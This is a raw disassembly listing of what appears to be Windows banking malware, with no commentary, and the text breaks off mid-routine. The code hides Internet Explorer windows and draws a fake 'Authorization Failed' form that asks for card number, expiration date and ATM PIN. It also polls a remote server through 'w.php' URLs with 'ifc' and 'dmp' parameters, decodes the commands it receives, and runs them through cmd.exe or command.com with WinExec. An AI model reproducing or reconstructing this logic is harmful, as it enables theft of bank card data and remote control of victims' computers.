var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h	; DATA XREF: sub_41E6C5r
		push	ebx
		push	esi


loc_405358:				; DATA XREF: sub_41E6D1r
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_405367


loc_405364:				; DATA XREF: sub_41E6DDr
		add	eax, 3Fh


loc_405367:				; CODE XREF: sub_405350+12j
					; DATA XREF: sub_41E6E9r
		sar	eax, 6
		mov	edi, eax


loc_40536C:				; DATA XREF: sub_41E6F5r
		shl	edi, 6
		push	edi


loc_405370:				; DATA XREF: sub_41E701r sub_41E70Dr
		call	sub_40530C
		pop	ecx
		mov	[ebp+var_14], eax ; DATA XREF: sub_41E719r
		mov	eax, [ebp+arg_4]


loc_40537C:				; DATA XREF: sub_41E725r
		add	eax, 40h
		jge	short loc_405384 ; DATA	XREF: sub_41E731r
		add	eax, 3Fh


loc_405384:				; CODE XREF: sub_405350+2Fj
					; DATA XREF: sub_41E73Dr
		sar	eax, 6
		mov	edi, eax	; DATA XREF: sub_41E749r
		shl	edi, 6


loc_40538C:				; DATA XREF: sub_41E755r
		push	edi
		push	[ebp+var_14]


loc_405390:				; DATA XREF: sub_41E761r sub_41E76Dr
		call	sub_407AB0	; RtlZeroMemory
		push	[ebp+arg_4]


loc_405398:				; DATA XREF: sub_41E779r
		push	esi
		push	[ebp+var_14]
		call	sub_407E04
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_406FD2
		mov	esi, [ebp+var_14]
		xor	ebx, ebx
		jmp	short loc_4053C2
; ---------------------------------------------------------------------------


loc_4053B4:				; CODE XREF: sub_405350+82j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_406FF9
		add	esi, 40h
		inc	ebx


loc_4053C2:				; CODE XREF: sub_405350+62j
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_4053CD
		add	eax, 3Fh


loc_4053CD:				; CODE XREF: sub_405350+78j
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_4053B4
		push	[ebp+var_14]
		call	sub_405322
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_405336
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_407DF8
		add	esp, 18h
		or	eax, eax
		jz	short loc_405403
		xor	eax, eax
		inc	eax
		jmp	short loc_405405
; ---------------------------------------------------------------------------


loc_405403:				; CODE XREF: sub_405350+ACj
		xor	eax, eax


loc_405405:				; CODE XREF: sub_405350+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40540A	proc near		; CODE XREF: sub_405AAC+1F6p
					; sub_405AAC+20Ep

var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		xor	esi, esi
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_4], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_4054BB
; ---------------------------------------------------------------------------


loc_405430:				; CODE XREF: sub_40540A+B9j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, dword_4240B8[edx]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4054BA
		mov	eax, [ebp+var_8]
		or	eax, eax
		jl	short loc_4054B7
		cmp	eax, 3
		jg	short loc_4054B7
		jmp	off_4244B8[eax*4]


loc_405455:				; DATA XREF: .data:off_4244B8o
		inc	[ebp+var_8]
		jmp	short loc_4054B7
; ---------------------------------------------------------------------------


loc_40545A:				; CODE XREF: sub_40540A+44j
					; DATA XREF: .data:004244BCo
		mov	edx, [ebp+var_C]
		shl	edx, 2
		mov	ecx, esi
		and	ecx, 30h
		sar	ecx, 4
		or	edx, ecx
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_4054B7
; ---------------------------------------------------------------------------


loc_40547A:				; CODE XREF: sub_40540A+44j
					; DATA XREF: .data:004244C0o
		mov	edx, [ebp+var_C]
		and	edx, 0Fh
		shl	edx, 4
		mov	ecx, esi
		and	ecx, 3Ch
		sar	ecx, 2
		or	edx, ecx
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_4054B7
; ---------------------------------------------------------------------------


loc_40549D:				; CODE XREF: sub_40540A+44j
					; DATA XREF: .data:004244C4o
		mov	edx, [ebp+var_C]
		and	edx, 3
		shl	edx, 6
		or	edx, esi
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		and	[ebp+var_8], 0


loc_4054B7:				; CODE XREF: sub_40540A+3Dj
					; sub_40540A+42j ...
		mov	[ebp+var_C], esi


loc_4054BA:				; CODE XREF: sub_40540A+36j
		inc	edi


loc_4054BB:				; CODE XREF: sub_40540A+21j
		cmp	byte ptr [edi],	0
		jz	short loc_4054C9
		cmp	ebx, [ebp+var_4]
		jb	loc_405430


loc_4054C9:				; CODE XREF: sub_40540A+B4j
		cmp	byte ptr [edi],	0
		jnz	short loc_4054D5
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_4054D8
; ---------------------------------------------------------------------------


loc_4054D5:				; CODE XREF: sub_40540A+C2j
		or	eax, 0FFFFFFFFh


loc_4054D8:				; CODE XREF: sub_40540A+C9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40540A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054DD	proc near		; CODE XREF: sub_40553F+13p
					; sub_40553F+20p ...

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4078CC
		push	edi
		push	5
		push	[ebp+arg_0]
		call	sub_407BA0	; GetWindow
		mov	edi, eax


loc_4054F7:				; CODE XREF: sub_4054DD+5Dj
		or	edi, edi
		jnz	short loc_4054FF
		xor	eax, eax
		jmp	short loc_40553C
; ---------------------------------------------------------------------------


loc_4054FF:				; CODE XREF: sub_4054DD+1Cj
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	sub_407BAC	; GetClassNameA
		push	1
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_405530
		mov	eax, edi
		jmp	short loc_40553C
; ---------------------------------------------------------------------------


loc_405530:				; CODE XREF: sub_4054DD+4Dj
		push	2
		push	edi
		call	sub_407BA0	; GetWindow
		mov	edi, eax
		jmp	short loc_4054F7
; ---------------------------------------------------------------------------


loc_40553C:				; CODE XREF: sub_4054DD+20j
					; sub_4054DD+51j
		pop	edi
		leave
		retn
sub_4054DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40553F	proc near		; CODE XREF: sub_4068A8+140p

var_11C		= byte ptr -11Ch
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= dword	ptr -10Ah
var_106		= dword	ptr -106h
var_102		= byte ptr -102h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	esi
		push	edi
		push	offset aDocobject ; "DocObject"
		push	[ebp+arg_0]
		call	sub_4054DD
		mov	edi, eax
		push	offset aExplorer ; "Explorer"
		push	edi
		call	sub_4054DD
		add	esp, 10h
		mov	ds:dword_408FEC, eax
		push	0
		push	eax
		call	sub_407C90	; ShowWindow
		lea	eax, [ebp+var_112]
		push	eax
		push	edi
		call	sub_407B88	; GetWindowRect
		push	0
		push	ds:dword_409008
		push	0
		push	edi
		mov	eax, [ebp+var_106]
		sub	eax, [ebp+var_10E]
		push	eax
		mov	eax, [ebp+var_10A]
		sub	eax, [ebp+var_112]
		push	eax
		push	0
		push	0
		push	50800000h
		push	offset byte_424E15
		push	offset aKkqhook	; "KKQHOOK"
		push	200h
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_409124, eax
		push	0
		push	ds:dword_409008
		push	0
		push	eax
		push	3Ch
		mov	eax, [ebp+var_10A]
		sub	eax, [ebp+var_112]
		sub	eax, 64h
		push	eax
		push	14h
		push	14h
		push	50800000h
		push	offset aAuthorizationF ; "\n   Authorization Failed."
		push	offset aStatic	; "STATIC"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_408FE8, eax
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_409124
		push	12Ch
		mov	eax, [ebp+var_10A]
		sub	eax, [ebp+var_112]
		sub	eax, 64h
		push	eax
		push	51h
		push	14h
		push	50800009h
		push	offset byte_424E15
		push	offset aStatic	; "STATIC"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_419140, eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	2BCh
		push	0
		push	0
		push	8
		push	14h
		call	sub_407D08	; CreateFontA
		mov	esi, eax
		push	1
		push	esi
		push	30h
		push	ds:dword_408FE8
		call	sub_407C6C	; SendMessageA
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_419140
		push	12Ch
		push	32h
		push	3Ah
		push	14h
		push	50800003h
		push	offset byte_424E15
		push	offset aCombobox ; "COMBOBOX"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_419150, eax
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_419140
		push	12Ch
		push	3Ch
		push	3Ah
		push	52h
		push	50800003h
		push	offset byte_424E15
		push	offset aCombobox ; "COMBOBOX"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_409000, eax
		mov	[ebp+var_2], 1
		jmp	short loc_40575A
; ---------------------------------------------------------------------------


loc_4056F2:				; CODE XREF: sub_40553F+222j
		movzx	eax, [ebp+var_2]
		push	eax
		push	offset a_2u	; "%.2u"
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_11C]
		push	eax
		push	0
		push	143h
		push	ds:dword_419150
		call	sub_407C6C	; SendMessageA
		movzx	eax, [ebp+var_2]
		add	eax, 4
		push	eax
		push	offset a20_2u	; "20%.2u"
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407E40
		add	esp, 18h
		lea	eax, [ebp+var_11C]
		push	eax
		push	0
		push	143h
		push	ds:dword_409000
		call	sub_407C6C	; SendMessageA
		inc	[ebp+var_2]


loc_40575A:				; CODE XREF: sub_40553F+1B1j
		movzx	eax, [ebp+var_2]
		cmp	eax, 0Dh
		jl	short loc_4056F2
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_409124
		push	10h
		push	67h
		push	6Eh
		push	0C3h
		push	50000000h
		push	offset aYourCardNumber ; "Your card number"
		push	offset aStatic	; "STATIC"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_408A20, eax
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_409124
		push	10h
		push	57h
		push	91h
		push	0C3h
		push	50000000h
		push	offset aExpirationDate ; "Expiration date"
		push	offset aStatic	; "STATIC"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_419148, eax
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_409124
		push	10h
		push	56h
		push	0B9h
		push	0C3h
		push	50000000h
		push	offset aAtmPinCode ; "ATM PIN-Code"
		push	offset aStatic	; "STATIC"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_419360, eax
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_409124
		push	10h
		push	1E4h
		push	0E6h
		push	1Eh
		push	50000000h
		push	offset aUnableToAuthor ; "Unable to authorize. ATM PIN-Code is re"...
		push	offset aStatic	; "STATIC"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_41914C, eax
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_409124
		push	10h
		push	0FDh
		push	0FFh
		push	1Eh
		push	50000000h
		push	offset aPleaseMakeCorr ; "Please make corrections and try again."
		push	offset aStatic	; "STATIC"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_419368, eax
		push	offset byte_419260
		lea	eax, [ebp+var_102]
		push	eax
		call	sub_407E40
		add	esp, 8
		mov	[ebp+var_3], 4
		jmp	short loc_4058A7
; ---------------------------------------------------------------------------


loc_405897:				; CODE XREF: sub_40553F+36Dj
		movzx	eax, [ebp+var_3]
		mov	[ebp+eax+var_102], 78h
		add	[ebp+var_3], 1


loc_4058A7:				; CODE XREF: sub_40553F+356j
		mov	al, [ebp+var_3]
		cmp	al, 0Ch
		jb	short loc_405897
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_419140
		push	18h
		push	82h
		push	14h
		push	14h
		push	50800800h
		lea	eax, [ebp+var_102]
		push	eax
		push	offset aEdit	; "EDIT"
		push	200h
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_40861C, eax
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_419140
		push	18h
		push	46h
		push	5Fh
		push	14h
		push	50800000h
		push	offset byte_424E15
		push	offset aEdit	; "EDIT"
		push	200h
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_408FF8, eax
		push	0
		push	78h
		push	0CCh
		push	eax
		call	sub_407C6C	; SendMessageA
		push	0
		push	ds:dword_409008
		push	0
		push	ds:dword_409124
		push	17h
		push	9Bh
		push	140h
		push	1Eh
		push	50800000h
		push	offset aClickOnceToCon ; "Click	Once To	Continue"
		push	offset aButton	; "BUTTON"
		push	0
		call	sub_407C9C	; CreateWindowExA
		mov	ds:dword_419364, eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	190h
		push	0
		push	0
		push	6
		push	10h
		call	sub_407D08	; CreateFontA
		mov	edi, eax
		push	1
		push	edi
		push	30h
		push	ds:dword_419150
		call	sub_407C6C	; SendMessageA
		push	1
		push	edi
		push	30h
		push	ds:dword_409000
		call	sub_407C6C	; SendMessageA
		push	1
		push	edi
		push	30h
		push	ds:dword_40861C
		call	sub_407C6C	; SendMessageA
		push	1
		push	edi
		push	30h
		push	ds:dword_408FF8
		call	sub_407C6C	; SendMessageA
		push	1
		push	edi
		push	30h
		push	ds:dword_419148
		call	sub_407C6C	; SendMessageA
		push	1
		push	edi
		push	30h
		push	ds:dword_408A20
		call	sub_407C6C	; SendMessageA
		push	1
		push	edi
		push	30h
		push	ds:dword_419360
		call	sub_407C6C	; SendMessageA
		push	1
		push	edi
		push	30h
		push	ds:dword_419364
		call	sub_407C6C	; SendMessageA
		push	0FFFFFFFCh
		push	ds:dword_419150
		call	sub_407C18	; GetWindowLongA
		mov	ds:dword_409010, eax
		push	offset sub_4067EE
		push	0FFFFFFFCh
		push	ds:dword_419150
		call	sub_407C24	; SetWindowLongA
		push	0FFFFFFFCh
		push	ds:dword_409000
		call	sub_407C18	; GetWindowLongA
		mov	ds:dword_408FFC, eax
		push	offset sub_4067EE
		push	0FFFFFFFCh
		push	ds:dword_409000
		call	sub_407C24	; SetWindowLongA
		push	0FFFFFFFCh
		push	ds:dword_40861C
		call	sub_407C18	; GetWindowLongA
		mov	ds:dword_408000, eax
		push	offset sub_4067EE
		push	0FFFFFFFCh
		push	ds:dword_40861C
		call	sub_407C24	; SetWindowLongA
		push	0FFFFFFFCh
		push	ds:dword_408FF8
		call	sub_407C18	; GetWindowLongA
		mov	ds:dword_408A1C, eax
		push	offset sub_4067EE
		push	0FFFFFFFCh
		push	ds:dword_408FF8
		call	sub_407C24	; SetWindowLongA
		push	ds:dword_419150
		call	sub_407BB8	; SetFocus
		pop	edi
		pop	esi
		leave
		retn
sub_40553F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_405AAC	proc near		; DATA XREF: sub_406344+454o

var_556E	= byte ptr -556Eh
var_4688	= dword	ptr -4688h
var_4683	= byte ptr -4683h
var_4584	= byte ptr -4584h
var_4580	= dword	ptr -4580h
var_457C	= dword	ptr -457Ch
var_4578	= dword	ptr -4578h
var_4573	= byte ptr -4573h
var_456F	= byte ptr -456Fh
var_3574	= dword	ptr -3574h
var_3570	= dword	ptr -3570h
var_356B	= byte ptr -356Bh
var_256C	= byte ptr -256Ch
var_2567	= byte ptr -2567h
var_1578	= dword	ptr -1578h
var_1574	= dword	ptr -1574h
var_156E	= byte ptr -156Eh
var_156D	= byte ptr -156Dh
var_111C	= byte ptr -111Ch
var_1117	= byte ptr -1117h
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100B	= byte ptr -100Bh
var_F07		= byte ptr -0F07h
var_E08		= dword	ptr -0E08h
var_E04		= byte ptr -0E04h
var_604		= dword	ptr -604h
var_600		= byte ptr -600h
var_200		= byte ptr -200h
var_1FD		= byte ptr -1FDh
var_1FB		= byte ptr -1FBh
var_1A8		= byte ptr -1A8h
var_1A7		= byte ptr -1A7h

		push	ebp
		mov	ebp, esp
		mov	eax, 5570h
		call	sub_4078CC
		push	ebx
		push	esi
		push	edi
		call	sub_4079B4	; GetTickCount
		push	eax
		call	sub_407E4C
		pop	ecx


loc_405AC8:				; CODE XREF: sub_405AAC+85Ej
		push	8
		lea	eax, [ebp+var_F07]
		push	eax
		call	sub_4013E4
		lea	eax, [ebp+var_F07]
		push	eax
		push	offset dword_419160
		push	offset aSS_dat	; "%s\\%s.dat"
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4024E0
		mov	edi, dword_41A0A0
		push	off_41A0A8[edi*4]
		push	offset aHttpS	; "http://%s"
		lea	edi, [ebp+var_E04]
		push	edi
		call	sub_407E40
		push	1
		push	offset asc_42464A ; "/"
		mov	edi, dword_41A0A0
		push	off_41A0A8[edi*4]
		call	sub_401429
		add	esp, 34h
		cmp	eax, 0FFFFh
		jnz	short loc_405B54
		push	offset aW_php	; "/w.php"
		lea	eax, [ebp+var_E04]
		push	eax
		call	sub_407E64
		add	esp, 8


loc_405B54:				; CODE XREF: sub_405AAC+92j
		and	[ebp+var_1014],	0
		mov	[ebp+var_1018],	4
		lea	eax, [ebp+var_111C]
		push	eax
		lea	eax, [ebp+var_1018]
		push	eax
		lea	eax, [ebp+var_1014]
		push	eax
		push	offset aIfc	; "ifc"
		push	offset aSoftwareMicr_3 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_401326
		push	[ebp+var_1014]
		push	offset a?ifcU	; "?ifc=%u"
		lea	eax, [ebp+var_1117]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_1117]
		push	eax
		lea	eax, [ebp+var_E04]
		push	eax
		call	sub_407E64
		lea	eax, [ebp+var_604]
		push	eax
		push	0
		push	0
		push	offset aQ	; "q"
		push	offset aKkqhook	; "KKQHOOK"
		lea	eax, [ebp+var_600]
		push	eax
		lea	eax, [ebp+var_E04]
		push	eax
		push	0
		call	sub_403D8E
		add	esp, 4Ch
		mov	esi, eax
		or	esi, esi
		jnz	short loc_405BFD
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40251A
		pop	ecx
		jmp	loc_406238
; ---------------------------------------------------------------------------


loc_405BFD:				; CODE XREF: sub_405AAC+13Dj
		and	[ebp+var_1014],	0
		push	4
		push	4
		lea	eax, [ebp+var_1014]
		push	eax
		push	offset aIfc	; "ifc"
		push	offset aSoftwareMicr_3 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_401379
		push	0
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4014E2
		add	esp, 20h
		mov	[ebp+var_E08], eax
		or	eax, eax
		jz	loc_406238
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407B70	; DeleteFileA
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40251A
		pop	ecx
		xor	ebx, ebx
		jmp	loc_40620D
; ---------------------------------------------------------------------------


loc_405C62:				; CODE XREF: sub_405AAC+77Bj
		cmp	[ebp+var_200], 0
		jz	loc_40620D
		lea	ecx, [ebp+var_200]
		or	eax, 0FFFFFFFFh


loc_405C78:				; CODE XREF: sub_405AAC+1D1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405C78
		cmp	eax, 5Ch
		jb	loc_40620D
		mov	[ebp+var_1A8], 0
		push	0FFFh
		lea	eax, [ebp+var_256C]
		push	eax
		lea	eax, [ebp+var_1A7]
		push	eax
		call	sub_40540A
		push	0FFFh
		lea	eax, [ebp+var_356B]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40540A
		add	esp, 18h
		mov	[ebp+var_156E],	0
		mov	[ebp+var_156D],	0
		jmp	short loc_405CF0
; ---------------------------------------------------------------------------


loc_405CD2:				; CODE XREF: sub_405AAC+25Dj
		movzx	eax, [ebp+var_156D]
		lea	edx, [ebp+eax+var_256C]
		movsx	ecx, byte ptr [edx]
		sub	ecx, eax
		mov	eax, ecx
		mov	[edx], al
		add	[ebp+var_156D],	1


loc_405CF0:				; CODE XREF: sub_405AAC+224j
		lea	ecx, [ebp+var_256C]
		or	eax, 0FFFFFFFFh


loc_405CF9:				; CODE XREF: sub_405AAC+252j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405CF9
		movzx	edx, [ebp+var_156D]
		cmp	edx, eax
		jb	short loc_405CD2
		lea	ecx, [ebp+var_256C]
		or	eax, 0FFFFFFFFh


loc_405D14:				; CODE XREF: sub_405AAC+26Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405D14
		lea	edx, [ebp+var_356B]
		push	edx
		push	eax
		lea	edi, [ebp+var_256C]
		push	edi
		call	sub_405350
		add	esp, 0Ch
		mov	[ebp+var_3570],	eax
		push	1
		push	offset aWpst	; "wpst	"
		lea	eax, [ebp+var_256C]
		push	eax
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0
		jnz	loc_40601D
		lea	eax, [ebp+var_2567]
		push	eax
		lea	eax, [ebp+var_4573]
		push	eax
		call	sub_4078EC
		mov	[ebp+var_3574],	0
		mov	[ebp+var_4578],	4
		lea	eax, [ebp+var_4584]
		push	eax
		lea	eax, [ebp+var_4578]
		push	eax
		lea	eax, [ebp+var_3574]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicr_4 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_401326
		add	esp, 18h
		lea	eax, [ebp+var_604]
		push	eax
		push	0
		push	0
		push	offset aQ	; "q"
		push	offset aKkqhook	; "KKQHOOK"
		lea	eax, [ebp+var_600]
		push	eax
		lea	eax, [ebp+var_4573]
		push	eax
		push	offset dword_409020
		call	sub_403D8E
		add	esp, 20h
		mov	esi, eax
		cmp	esi, 0
		jnz	short loc_405DF2
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40251A
		add	esp, 4
		jmp	short loc_405E20
; ---------------------------------------------------------------------------


loc_405DF2:				; CODE XREF: sub_405AAC+333j
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicr_4 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_401379
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40251A
		add	esp, 1Ch


loc_405E20:				; CODE XREF: sub_405AAC+344j
		and	[ebp+var_3574],	0
		mov	[ebp+var_4578],	4
		lea	eax, [ebp+var_4584]
		push	eax
		lea	eax, [ebp+var_4578]
		push	eax
		lea	eax, [ebp+var_3574]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicr_4 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_401326
		add	esp, 18h
		push	0
		push	0
		push	4
		push	0
		push	0
		push	80000000h
		push	offset dword_408010
		call	sub_407A8C	; CreateFileA
		mov	[ebp+var_457C],	eax
		push	0
		push	eax
		call	sub_407954	; GetFileSize
		mov	[ebp+var_4688],	eax
		push	[ebp+var_457C]
		call	sub_407984	; CloseHandle
		mov	eax, [ebp+var_4688]
		cmp	[ebp+var_3574],	eax
		jnb	loc_405F5B
		push	8
		lea	eax, [ebp+var_4683]
		push	eax
		call	sub_4013E4
		lea	eax, [ebp+var_4683]
		push	eax
		push	offset dword_419160
		push	offset aSS_tmp	; "%s\\%s.tmp"
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4024E0
		lea	eax, [ebp+var_604]
		push	eax
		push	0
		push	[ebp+var_3574]
		push	offset aQ	; "q"
		push	offset aKkqhook	; "KKQHOOK"
		lea	eax, [ebp+var_600]
		push	eax
		lea	eax, [ebp+var_4573]
		push	eax
		push	offset dword_408010
		call	sub_403D8E
		mov	esi, eax
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407B70	; DeleteFileA
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40251A
		add	esp, 40h
		or	esi, esi
		jz	short loc_405F5B
		cmp	[ebp+var_604], 0
		jz	short loc_405F5B
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicr_4 ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_401379
		add	esp, 18h


loc_405F5B:				; CODE XREF: sub_405AAC+3F5j
					; sub_405AAC+482j ...
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_408A40
		call	sub_407A8C	; CreateFileA
		mov	[ebp+var_4580],	eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_406238
		push	[ebp+var_4580]
		call	sub_407984	; CloseHandle
		lea	eax, [ebp+var_4573]
		push	eax
		lea	eax, [ebp+var_E04]
		push	eax
		call	sub_407E40
		push	offset a?dmp2	; "?dmp=2"
		lea	eax, [ebp+var_E04]
		push	eax
		call	sub_407E64
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4024E0
		lea	eax, [ebp+var_604]
		push	eax
		push	0
		push	[ebp+var_3574]
		push	offset aQ	; "q"
		push	offset aKkqhook	; "KKQHOOK"
		lea	eax, [ebp+var_600]
		push	eax
		lea	eax, [ebp+var_E04]
		push	eax
		push	offset dword_408A40
		call	sub_403D8E
		mov	esi, eax
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407B70	; DeleteFileA
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40251A
		add	esp, 38h
		or	esi, esi
		jz	short loc_40601D
		push	offset dword_408A40
		call	sub_407B70	; DeleteFileA


loc_40601D:				; CODE XREF: sub_405AAC+2A5j
					; sub_405AAC+565j
		cmp	[ebp+var_200], 3Ah
		jnz	loc_40614F
		cmp	[ebp+var_1FD], 3Ah
		jnz	loc_40614F
		mov	[ebp+var_1FD], 0
		lea	eax, [ebp+var_3574]
		push	eax
		push	offset a02u	; ":%02u"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407E58
		add	esp, 0Ch
		cmp	[ebp+var_3574],	0
		jz	short loc_40608B
		call	sub_407E28
		mov	edx, 621B97C3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		inc	edi
		cmp	edi, [ebp+var_3574]
		ja	loc_40620D


loc_40608B:				; CODE XREF: sub_405AAC+5B4j
		cmp	ds:dword_408F50, 2
		jnz	short loc_4060D3
		push	400h
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40799C	; GetSystemDirectoryA
		lea	eax, [ebp+var_600]
		push	eax
		push	offset aSCmd_pif ; "%s\\cmd.pif"
		lea	eax, [ebp+var_100B]
		push	eax
		call	sub_407E40
		push	offset aCmd_exe	; "\\cmd.exe"
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407E64
		add	esp, 14h
		jmp	short loc_406110
; ---------------------------------------------------------------------------


loc_4060D3:				; CODE XREF: sub_405AAC+5E6j
		push	400h
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4079E4	; GetWindowsDirectoryA
		lea	eax, [ebp+var_600]
		push	eax
		push	offset aSCommand_pif ; "%s\\command.pif"
		lea	eax, [ebp+var_100B]
		push	eax
		call	sub_407E40
		push	offset aCommand_com ; "\\command.com"
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407E64
		add	esp, 14h


loc_406110:				; CODE XREF: sub_405AAC+625j
		lea	eax, [ebp+var_100B]
		push	eax
		call	sub_407B70	; DeleteFileA
		lea	eax, [ebp+var_200]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_600]
		push	eax
		push	offset aSCS	; "%s /C %s"
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407E40
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_407B34	; WinExec


loc_40614F:				; CODE XREF: sub_405AAC+578j
